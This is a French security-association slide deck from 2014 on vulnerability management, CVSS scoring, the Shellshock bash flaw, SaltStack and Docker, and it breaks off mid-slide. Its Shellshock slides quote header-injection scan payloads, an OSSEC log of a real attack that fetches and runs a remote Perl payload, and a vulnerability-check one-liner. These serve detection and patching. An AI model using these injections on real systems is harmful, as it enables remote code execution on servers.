50
Gestion des vuln´ erabilit´ es et configurations Cas particuliers appliqu´ es ` a ShellShock J. Moreau/J.M. Misert Clusir-Est 5 novembre 2014 J. Moreau/J.M. Misert (Clusir-Est) Gestion des vuln´ erabilit´ es et configurations 5 novembre 2014 1 / 50

Gestion des vulnérabilités dans le cas de Shellshock

Embed Size (px)

DESCRIPTION

La gestion des vulnérabilités avec le cas d'usage Shellshock. Utilisation de SaltStack et de Docker dans ce contexte.

Citation preview

Page 1: Gestion des vulnérabilités dans le cas de Shellshock

Gestion des vulnerabilites et configurationsCas particuliers appliques a ShellShock

J. Moreau/J.M. Misert

Clusir-Est

5 novembre 2014

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 1 / 50

Page 2: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

Plan

1 Presentation Clusir-Est

2 Attaques et vulnerabilites

3 Standards pour les vulnerabilites : CVE et CVSS

4 Gestion des vulnerabilites a la Banque Postale

5 Le cas de Shellshock

6 Gestion de configurations avec SaltStack

7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 2 / 50

Page 3: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

L’association Clusir-Est

Une association loi 1901 a but non lucratif et non commercial.

Le but est de developper toute action propre a une meilleure approcheet maıtrise des risques du SI.

Le Clusir-Est n’est pas une ”sous-entite” du Clusif : L’associationmene des actions ”dans le respect du code d’ethique des metiers de lasecurite des SI defini par le Clusif”.

Les membres choisissent les themes a aborder (via echanges et/ousondages)

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 3 / 50

Page 4: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

Les autres Clusir

Les Clusirs travaillent avec le Clusif et echangent pour l’organisation.Participations a certains groupes de travail du Clusif.

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 4 / 50

Page 5: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

Les journees Clusir-Est entre 2006 et 2009

Les journees d’echanges 2006 :

26/01/06 - Reunion de Lancement

30/03/06 - Charte & Cybersurveillance & C.I.L

28/06/06 - Analyse de risques et Pilotage

26/09/06 - Mobilite & Malware

06/12/06 - Plan de Continuite des Activites

Les manifestations 2006 :

13/04/06 - Panorama Cybercriminalite du CLUSIF

16/05/06 - Panorama Cybercriminalite du CLUSIF

Les journees d’echanges 2007 :

06/02/07 - Computer Forensics et Assemblee generale

27/03/07 - Certification Securite

21/06/07 - Audit de Securite

28/09/07 - Haute Disponibilite - Virtualisation

Les manifestations 2007 :

15/05/07 - Panorama Cybercriminalite du CLUSIF

Les journees d’echanges 2008 :

22/01/08 - Securite physique et Assemblee generale

27/05/08 - L’incident et la reponse juridique

02/10/08 - Ateliers thematiques

04/12/08 - La fuite d’information

Les manifestations 2008 :

15/05/08 - Panorama Cybercriminalite du CLUSIF

03/06/08 - Les routes de l’innovation

Les journees d’echanges 2009 :

05/02/09 - Assemblee generale, CIL et menaces

25/06/09 - Protection de l’environnement de travail

24/09/09 - Securite de l’entreprise etendue

15/12/09 - IT Gouvernance et SMSI

Les manifestations 2009 :

25/05/09 - Panorama Cybercriminalite du CLUSIF

26/11/09 - Forum du Rhin superieur sur les cybermenaces

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 5 / 50

Page 6: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

Les journees Clusir-Est entre 2010 et 2013

Les journees d’echanges 2010 :

02/02/10 - Assemblee generale

Les manifestations 2010 :

01/03/10 - Panorama Cybercriminalite du CLUSIF

Les journees d’echanges 2011 :

22/02/11 - Assemblee generale

22/09/11 - Tables rondes

15/12/11 - Synthese sur les menaces et le managementSSI

Les manifestations 2011 :

19/04/11 - Panorama Cybercriminalite du CLUSIF

04/10/11 - Petit-dejeuner cybercriminalite

Les journees d’echanges 2012 :

02/02/12 - Assemblee generale

25/04/12 - Securite dans la virtualisation et le Cloud

14/06/12 - Visite du LHS et etat de l’art

06/10/12 - Les evolutions juridiques

04/12/12 - Mobilite/BYOD et evolutions des normes SSI

Les manifestations 2012 :

23/03/12 - La SSI au coeur de l’IE

19/06/12 - La securite des SI des PME

04/10/12 - IT Tour 2012

06/11/12 - Forum du Rhin superieur sur les cybermenaces

Les journees d’echanges 2013 :

07/02/13 - Assemblee generale

06/06/13 - La securite dans les projets IT

26/09/13 - Controler le niveau de securite de son SI

05/12/13 - Sensibilisation et formation a la SSI

Les manifestations 2013 :

18/04/13 - Panorama Cybercriminalite du CLUSIF

30/05/13 - Panorama Cybercriminalite du CLUSIF

10/10/13 - IT Tour 2013

24/10/13 - De le cybercriminalite aux pratiques de securite

28/11/13 - COGITO 2013J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 6 / 50

Page 7: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

Logisitique d’accueil et moyens de communications

Pour la logistique :

Les membres sont solicites pour heberger une journee (pas delocation).

Pour la communication et les echanges :

Site Web : http://clusir-est.org

Le site possede une zone privee uniquement pour les membres

Groupe LinkedIn : Clusir-Est

Twitter : @clusirest

Google agenda

Mail : contact sur clusir-est.org

Liste de diffusion : 1 pour le bureau, 1 pour les membres

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 7 / 50

Page 8: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

Adhesion au Clusir-Est

Les modalites :

L’association est a but non lucratif.

Les seuls moyens financiers proviennent des cotisations versees par sesadherents

Adhesion :

100 euros annuellement (quelle que soit la periode de l’annee)reduction de 50% accordee pour le 2eme (et suivant) adherent d’unesociete deja adherenteles membres du bureau payent leur cotisation

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 8 / 50

Page 9: Gestion des vulnérabilités dans le cas de Shellshock

Presentation Clusir-Est

Membres du Clusir-Est

Bureau :

Jean-Marc Misert (Banque Postale) : President

Johan Moreau (IRCAD) : Vice-President

Eric Weis (Univ. de Lorraine) : Tresorier

Ludovic Merissonne (Cora Informatique) :Membre du bureau

Yannick Narbey (Vitalia) : Membre du bureau

Bruno Barge (Lohr) : Membre du bureau

Stephane Nagel (Haganis) : Membre du bureau

Nombre de membres :

2006 - 24

2007 - 33

2008 - 36

2009 - 34

2010 - 33

2011 - 22

2012 - 28

2013 - 30

2014 - 33

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 9 / 50

Page 10: Gestion des vulnérabilités dans le cas de Shellshock

Attaques et vulnerabilites

Plan

1 Presentation Clusir-Est

2 Attaques et vulnerabilites

3 Standards pour les vulnerabilites : CVE et CVSS

4 Gestion des vulnerabilites a la Banque Postale

5 Le cas de Shellshock

6 Gestion de configurations avec SaltStack

7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 10 / 50

Page 11: Gestion des vulnérabilités dans le cas de Shellshock

Attaques et vulnerabilites

Principes generaux

Pour parler attaques et vulnerabilites il est necessaire de connaitre sonsysteme d’information (ISO 27001 1 )

EBIOS 2 ou ISO27005 vont aider sur l’analyse de risques

ISO27035 definit la gestion des incidents de securiteEvenement de securite :

Occurance identifiee de l’etat d’un service, d’un systeme ou d’un reseauindiquant une faille possible dans la PSSI ou un echec des mesures desecurite ou encore une situation inconnue et pouvant relever de lasecurite.

Incident de securite :

Un ou plusieurs evenements lies a la securite de l’informationindesirables ou inattendus presentant une probabilite forte decompromettre les activites de l’organisation et de menacer la securitede l’information.

1http://en.wikipedia.org/wiki/ISO/IEC_27000-series

2http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 11 / 50

Page 12: Gestion des vulnérabilités dans le cas de Shellshock

Attaques et vulnerabilites

Principes generaux

Un ”vecteur d’attaque” va etre utilise sur votre SI

virus, ver, malware, faille, erreur humaine, ...

Une ”vulnerabilite ou evenement” va etre exploitee

faille reseau, os, applicative, base de donnees, humaine, ...

Un ”impact ou incident” va toucher un metier

disponibilite, integrite, confidentialite, ...

Cette presentation va discuter des vulnerabilites et impacts dans uncontext pro-actif (veille, CERT 3 , CSIRT, ...)

3http://fr.wikipedia.org/wiki/Computer_Emergency_Response_Team

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 12 / 50

Page 13: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

Plan

1 Presentation Clusir-Est

2 Attaques et vulnerabilites

3 Standards pour les vulnerabilites : CVE et CVSS

4 Gestion des vulnerabilites a la Banque Postale

5 Le cas de Shellshock

6 Gestion de configurations avec SaltStack

7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 13 / 50

Page 14: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

CVE : Common Vulnerability and Exposures

Gere par le MITRE 4

Dictionnaire pour le nommage des vulnerabilites (initie en 1999)

Structure du type CVE-AAAA-XXXX :

AAAA : annee/XXXX : id incrementalPar exemple : CVE-2014-7169

National Vulnerability Database (NVD) via le NIST 5

Declinaison specifique au Malware : CME 6

Qualite d’un SI (au regard des CVE) : OVAL 7

Le langage est reconnu, utilise dans de nombreux outils, par les CERT etdonc predominant pour la veille en SSI. Des extensions sont proposees.

4http://cve.mitre.org

5http://nvd.nist.org

6http://cme.mitre.org

7http://oval.mitre.org

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 14 / 50

Page 15: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

CVSS : Common Vulnerability Scoring System

Gere par le FIRST 8

Systeme de notation (initie en 2005)

Algorithme public disponible sur le site du NIST 9

Permet d’evaluer la dangerosite d’une vulnerabilite

La note donnee varie de 0 a 10 et est basee sur :

score de basescore temporelscore environnemental

CVSS est maintenant largement employe par les constructeurs et editeurs.

8http://www.first.org/cvss

9http://nvd.nist.gov/cvsseq2.htm

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 15 / 50

Page 16: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

CVSS : Calcul du score de base

Le score de base repose sur deux metriques

l’exploitabilite de la vulnerabilitel’impact que peut avoir l’exploitation de la vulnerabilite

Pour l’exploitabilite (facon d’exploiter) :

Le vecteur d’acces : la vulnerabilite peut etre exploitee depuis Internet,depuis un reseau adjacent, ou requiert un acces local ?La complexite d’acces : est-il simple, moderement complexe ou trescomplexe d’acceder au composant vulnerable ?Les pre-requis d’authentification : est-il possible d’acceder de faconanonyme au composant vulnerable pour exploiter la faille ? Ou y’a-t-ilun, ou plusieurs niveaux d’authentification ?

Pour l’impact :

L’impact sur la confidentialite : est-il complet, partiel ou inexistant ?L’impact sur la disponibilite : est-il complet, partiel ou inexistant ?L’impact sur l’integrite : est-il complet, partiel ou inexistant ?

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 16 / 50

Page 17: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

CVSS : Ecriture du vecteur d’acces

Exemple : vulnerabilite sur serveur Web, donnant acces a des bannieresdetaillees, donnant des indications sur des versions de produits vulnerables :

AV :N/AC :L/Au :N /C :P/I :N/A :N

L’exploitabilite :

Vecteur d’acces : Internet (Access Vector : Network)

Complexite d’acces : Faible (Access Complexity : Low)

Authentification : Aucune (Authentication : None)

L’impact ne porte que sur la confidentialite et l’atteinte que partielle :

Impact sur la Confidentialite : Partiel (Confidentiality Impact : Partial)

Impact sur l’Integrite : Aucun (Integrity Impact : None)

Impact sur la Disponibilite : Aucun (Availability Impact : None)

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 17 / 50

Page 18: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

CVSS : calcul du score temporel et environnemental

3 criteres pour le score temporel :L’exploitabilite (facilite d’exploitation de la vulnerabilite) : existe-t-il un code publicpermettant d’exploiter la vulnerabilite, est-il fonctionnel, est-ce une PoC, a-t-on un doutesur son existence ?

L’existence de contre-mesures : sont-elles disponibles, n’existe-t-il que des solutionspalliatives, ou un correctif non-officiel ?

L’existence meme de la vulnerabilite : a-t-elle ete confirmee, ou n’a-t-on que dessoupcons ?

5 criteres pour le calcul du score environnemental :Le potentiel de dommage collateral lie a la vulnerabilite (Aucun, Faible, Faible a Moyen,

Moyen a Eleve, Eleve)

Le nombre de systemes vulnerables dans l’environnement cible (Aucun, Faible, Moyen,

Eleve)

Le niveau d’exigence en termes de confidentialite (Faible, Moyen, Eleve)

Le niveau d’exigence en termes d’integrite (Faible, Moyen, Eleve)

Le niveau d’exigence en termes de disponibilite (Faible, Moyen, Eleve)

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 18 / 50

Page 19: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

CVSS en conclusion

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 19 / 50

Page 20: Gestion des vulnérabilités dans le cas de Shellshock

Standards pour les vulnerabilites : CVE et CVSS

CVSS : Outil en ligne 10

10http://nvd.nist.gov/cvss.cfm?calculator&version=2

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 20 / 50

Page 21: Gestion des vulnérabilités dans le cas de Shellshock

Gestion des vulnerabilites a la Banque Postale

Plan

1 Presentation Clusir-Est

2 Attaques et vulnerabilites

3 Standards pour les vulnerabilites : CVE et CVSS

4 Gestion des vulnerabilites a la Banque Postale

5 Le cas de Shellshock

6 Gestion de configurations avec SaltStack

7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 21 / 50

Page 22: Gestion des vulnérabilités dans le cas de Shellshock

Gestion des vulnerabilites a la Banque Postale

Chapitre non diffuse

Chapitre non diffuse

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 22 / 50

Page 23: Gestion des vulnérabilités dans le cas de Shellshock

Le cas de Shellshock

Plan

1 Presentation Clusir-Est

2 Attaques et vulnerabilites

3 Standards pour les vulnerabilites : CVE et CVSS

4 Gestion des vulnerabilites a la Banque Postale

5 Le cas de Shellshock

6 Gestion de configurations avec SaltStack

7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 23 / 50

Page 24: Gestion des vulnérabilités dans le cas de Shellshock

Le cas de Shellshock

Shellshock CVE et CVSS

La vulnerabilite Shellshock 11 a ete identifiee dans bash - 25/09/2014. Elleest exploitee dans la nature. Un attaquant distant pourrait l’exploiter afind’executer du code arbitraire :CVE-2014-[6271|6277|6278|7169|7186|7187]

Criticite : CVSS de base=10 - CVSS temporel=8,7 => PRIORITAIRE

11http://en.wikipedia.org/wiki/Shellshock_%28software_bug%29

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 24 / 50

Page 25: Gestion des vulnérabilités dans le cas de Shellshock

Le cas de Shellshock

ShellShock est-ce grave ? 12 13

Attaques via les navigateurs :

Code Listing 1– Entete HTTP infectee par shellshock language

target = 0.0.0.0/0port = 80banners = truehttp−user−agent = shellshock−scan (http://blog.erratasec .com/2014/09/bash−shellshock

−scan−of−internet.html)http−header = Cookie:() { :; }; ping −c 3 209.126.230.74http−header = Host:() { :; }; ping −c 3 209.126.230.74http−header = Referer:() { :; }; ping −c 3 209.126.230.74

Mais aussi DHCPd, SMTPd, ...

12http://www.shellshock.fr/

13http://linuxfr.org/news/une-faille-nommee-shellshock

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 25 / 50

Page 26: Gestion des vulnérabilités dans le cas de Shellshock

Le cas de Shellshock

Exemple de preuves de concept 14

14http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 26 / 50

Page 27: Gestion des vulnérabilités dans le cas de Shellshock

Le cas de Shellshock

Attaque dans OSSEC

Code Listing 2– Trace d’attaque dans OSSEC

OSSEC HIDS Notification.2014 Nov 10 18:37:14

Received From: myserver−>/var/log/apache2/access.logRule: 31151 fired ( level 10) −> ”Mutiple web server 400 error codes from same source ip

. ”Portion of the log(s) :

193.x.y.z − − [1/Nov/2014:18:37:13 +0100] ”GET /cgi−bin/meme.cgi HTTP/1.1” 404 396”−” ”() { :;};/usr/bin/perl −e ’print \”Content−Type: text/plain\\r\\n\\r\\

nXSUCCESS!\”;system(\”wget www.freistilreisen.de/jack.jpg −O /tmp/jack.jpg;curl −O /tmp/jack.jpg www.freistilreisen.de/jack. jpg ; perl /tmp/jack.jpg;rm −rf /tmp/jack.jpg*\”) ;’ ”

193.x.y.z − − [1/Nov/2014:18:37:13 +0100] ”GET /cgi−bin/main.cgi HTTP/1.1” 404 397”−” ”() { :;};/usr/bin/perl −e ’print \”Content−Type: text/plain\\r\\n\\r\\nXSUCCESS!\”;system(\”wget www.freistilreisen.de/jack.jpg −O /tmp/jack.jpg;curl −O /tmp/jack.jpg www. freistilreisen .de/jack. jpg ; perl /tmp/jack.jpg;rm −rf /tmp/jack.jpg*\”) ;’ ”

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 27 / 50

Page 28: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Plan

1 Presentation Clusir-Est

2 Attaques et vulnerabilites

3 Standards pour les vulnerabilites : CVE et CVSS

4 Gestion des vulnerabilites a la Banque Postale

5 Le cas de Shellshock

6 Gestion de configurations avec SaltStack

7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 28 / 50

Page 29: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

L’idee de SaltStack

Les objectifs :

Outils de gestion de configurations/orchestration

Un framework d’execution a distance

Un gestionnaire de configurations centralise

Un gestionnaire de machines virtuelles

Quelques exemples d’utilisation :

Installation d’une application

Configuration des imprimantes, des partages reseaux, ...

Lancer des commandes sur un ensemble de machines

Gerer des VM ou conteneurs (construire, lancer, arreter, ...)

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 29 / 50

Page 30: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Pourquoi Salt ?

Nombreuses solutions/techniques :

Images disques (PXE, Ghost, ...)

Scripts maisons (Python, Bash, PowerShell, ...)

Logiciels de gestion de conf (CFEngine, Puppet, Chef, Ansible, ...)

Le choix de Salt :

Nouvelle generation d’outil (comparable a Ansible 15 16 17 18 )

Multiplateforme (Linux, OSX, Windows), installation simple 19

Choix technologique : YAML, jinja2, 0MQ, AES256, Python, ...

Communaute importante 20 et bonne documentation 21

15http://ryandlane.com/blog/2014/08/04/moving-away-from-puppet-saltstack-or-ansible/

16https://missingm.co/2013/06/ansible-and-salt-a-detailed-comparison/

17http://blog.xebia.fr/2014/07/18/test-driven-infrastructure-avec-chef-episode-2/

18http://jensrantil.github.io/salt-vs-ansible.html

19http://docs.saltstack.com/en/latest/topics/installation/ubuntu.html

20http://saltstarters.org

21http://docs.saltstack.com/en/latest/topics/tutorials/quickstart.html

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 30 / 50

Page 31: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Architecture

Mode de fonctionnement :

En solitaire (a titre perso, ca peut aider)

En client-serveur (en pull ou push) : maıtre/larbin (master/minion)

Le lexique :

Grain : proprietes d’un larbin (OS, RAM, ...)

Formule/Etat (state) : etats a appliquer dans un .sls en YAML

Pilier (pillar) : parametres a transmettre aux larbins

Les commandes :

Salt est concu pour executer des commandes a distance (modules ausens python) : test.ping (module test), cmd.run (module cmd)

Module important : state (gestion de configuration)

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 31 / 50

Page 32: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Formules simples : installation d’un paquet 22

Code Listing 3– top.sls la racine des etats

base: # Master base configuration’*’: # all minion− apache # call apache state

Code Listing 4– apache.sls fichier decrivant l’etat apache

apache2: # Id, using like main parameter for this statepkg. installed # state to call : this pack must be installed

22http://docs.saltstack.com/en/latest/topics/tutorials/states_pt1.html

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 32 / 50

Page 33: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Formules simples : installation du paquet avec config. 23 24

Code Listing 5– apache.sls fichier decrivant l’etat apache avec fichier

apache2: # Id, using like main parameter for this statepkg:− installed # state to call : this pack must be installed

service :− running # check if running− watch: # reload if change− file : /etc/apache2/httpd.conf

/etc/apache2/httpd.conf:file .managed:− source: salt ://apache/httpd.conf # find the file on salt master− user: root− group: root− mode: 644− require :− pkg: apache2 # update this file only if apach2 is installed

23Le serveur Salt sert de serveur de fichier avec l’url ”salt ://”

24http://docs.saltstack.com/en/latest/topics/tutorials/states_pt2.html

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 33 / 50

Page 34: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Gestion des grains 25 26

Code Listing 6– Exemple d’executions distantes

# from master to specific minionsudo salt serveur .example.com cmd.run rebootsudo salt −G ’os:debian’ cmd.run apt−get update# from master to multiples minionsudo salt ’ serveur (01|02) .example.com’ state . sls apachesudo salt −−grain−pcre ’os:(debian|ubuntu)’ state . highstate# from minionsudo salt−call −l debug state . highstate

25Possibilite de tester avant execution en ajoutant test=True

26aide en ligne avec sys.doc, exemple : sudo salt-call sys.doc user

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 34 / 50

Page 35: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Pilier/Pillar

Utilite du pilier :

Decouplage etat et parametres : variations en fonction d’un OS, d’unedistribution, etc ...

Securite : les larbins ont acces a tous les etats, eviter d’y mettre desinformations confidentielles

Creation du pilier :

Meme syntaxe que les recettes et pillar.get() dans les formules

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 35 / 50

Page 36: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Pillier simple : communaute snmp

Code Listing 7– snmp.sls l’etat snmp

snmpd.conf:file :− name: /etc/snmp/snmpd.conf− source: salt ://nux/snmp/files/snmpd.conf− template: jinja− context: snmpcom: {{ pillar .get (’ snmpcom’, ’public ’) }}

Code Listing 8– le fichier de conf snmp

rocommunity {{ snmpcom }}

Code Listing 9– le fichier pillar

snmpcom: myCom

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 36 / 50

Page 37: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Gestion des cles et distribution

Sur le serveur :

salt-key -L

salt-key -a saltminion

Serveur distribue :

Comme pour nagios, il est possible de distribuer l’activite 27

27http://bencane.com/2014/02/04/saltstack-getting-redundancy-and-scalability-with-multiple-master-servers/

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 37 / 50

Page 38: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Retour d’experience et ressources interessantes 29 30

Les +++ :

Prise en main assez rapide, homogeneise bien l’ensemble du parc

Dans la tendance DevOps, cloud prive, SDN 28, ...

A faire : deployer encore et encore, utilisation mixte avec R&D

A voir :

Modules maisons, preseeding pour reponses a debconf, ...

Gestion des outils de virtualisation (Esx, KVM, Proxmox, ...)

Gestion des outils de cloud public (Amazon, Google, ...)

Systeme graphique et de planification

28Software Defined Network29

https://mywushublog.com/2013/12/active-directory-authentication-with-salt/

30https://github.com/saltstack-formulas/ntp-formula/

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 38 / 50

Page 39: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Retour d’experience et ressources interessantes

Quelques avertissements :

En raison de la conf. 0MQ, pas de certitudes sur l’execution

Le client tourne en mode root, attention les degats !

Quelques troubleshooting connus (outil encore jeune) 31

Debuggage pas toujours simple avec docker 32

31http://docs.saltstack.com/en/latest/topics/troubleshooting

32https://github.com/saltstack/salt/issues/12003

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 39 / 50

Page 40: Gestion des vulnérabilités dans le cas de Shellshock

Gestion de configurations avec SaltStack

Et ShellShock alors ?

Code Listing 10– Sequence d’execution salt pour ShellShock

sudo salt −l debug −v −G ’kernel:Linux’ cmd.run ”env x=’() { :;}; echo bad’ bash −c ’echo good’ 2>&1 |grep ”

srv1 .domain : badsrv2 .domain : badsrv3 .domain : goodsrv4 .domain : badsrv5 .domain : good...> sudo salt −l debug −v −G ’kernel:Linux’ pkg. install bash refresh =True> sudo salt −l debug −v −G ’kernel:Linux’ cmd.run ”env x=’() { :;}; echo bad’ bash −

c ’echo good’ 2>&1 |grep ”srv1 .domain : goodsrv2 .domain : goodsrv3 .domain : goodsrv4 .domain : goodsrv5 .domain : good

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 40 / 50

Page 41: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Plan

1 Presentation Clusir-Est

2 Attaques et vulnerabilites

3 Standards pour les vulnerabilites : CVE et CVSS

4 Gestion des vulnerabilites a la Banque Postale

5 Le cas de Shellshock

6 Gestion de configurations avec SaltStack

7 Les conteneurs Docker, un complement a ESX, KVM, HyperV, ...

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 41 / 50

Page 42: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Un conteneur (jolie metaphore), c’est quoi ?

Les memes idees que la virtualisation, mais sans virtualisation :

Agnostique sur le contenu et le transporteur

Isolation et automatisation

En gros, un super chroot (ou un jails BSD plus sympa). Un des pointsforts de Solaris depuis plusieurs annees. Techno existante aussi chezGoogle depuis longtemps. Rien de neuf, mais pourtant ...

Docker :

Projet jeune 33 : 1er commit le 18/01/2013

Dans le top15 sur GitHub (13/02/2014 : 334 contributeurs)

Linux 64bits avec LXC (qui evolue beaucoup dans ce sens)

Simplifie fortement tout cela ...

33http://linuxfr.org/news/la-folie-docker

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 42 / 50

Page 43: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Liaison avec le noyau Linux 34

Une belle evolution de Linux :

Mount namespace (Linux 2.4.19)

PID namespace (Linux 2.6.24) / plusieurs PID par process

Net namespace (Linux 2.6.19-2.6.24)

User namespace (Linux 2.6.23-3.8)

IPC namespace (Linux 2.6.19-2.6.30)

UTS namespace (Linux 2.6.19) / host et domain

cgroups : gerer la limitation de ressource

AUFS/BTRFS : FS par couche, mode union, copy on write

34https://github.com/sdouche/presentation-docker/

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 43 / 50

Page 44: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Docker

Terminologie :

index : repertoire public (https ://index.docker.io/)

image : conteneur en lecture seule (snapshot)

conteneur : element manipulable

run : creer un conteneur (a partir d’une image)

Les points forts :

ecrit en go et installation simple 35

ligne de commande tres sympathique (docker help)

langage de description des images (avec notion de parent)

API pour pilotage et integration partielle dans OpenStack

Gui 36 , Orchestration, hebergement cloud, integration continue, OS

35http://docs.docker.com/installation/ubuntulinux/

36http://linuxfr.org/news/logiciels-pour-survivre-avec-docker

J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 44 / 50

Page 45: Gestion des vulnérabilités dans le cas de Shellshock

Les conteneurs Docker, un complement a ESX, KVM, HyperV,...

Docker in the shell 37 38 39

Les principales commandes :

Code Listing 11– les commandes docker utiles

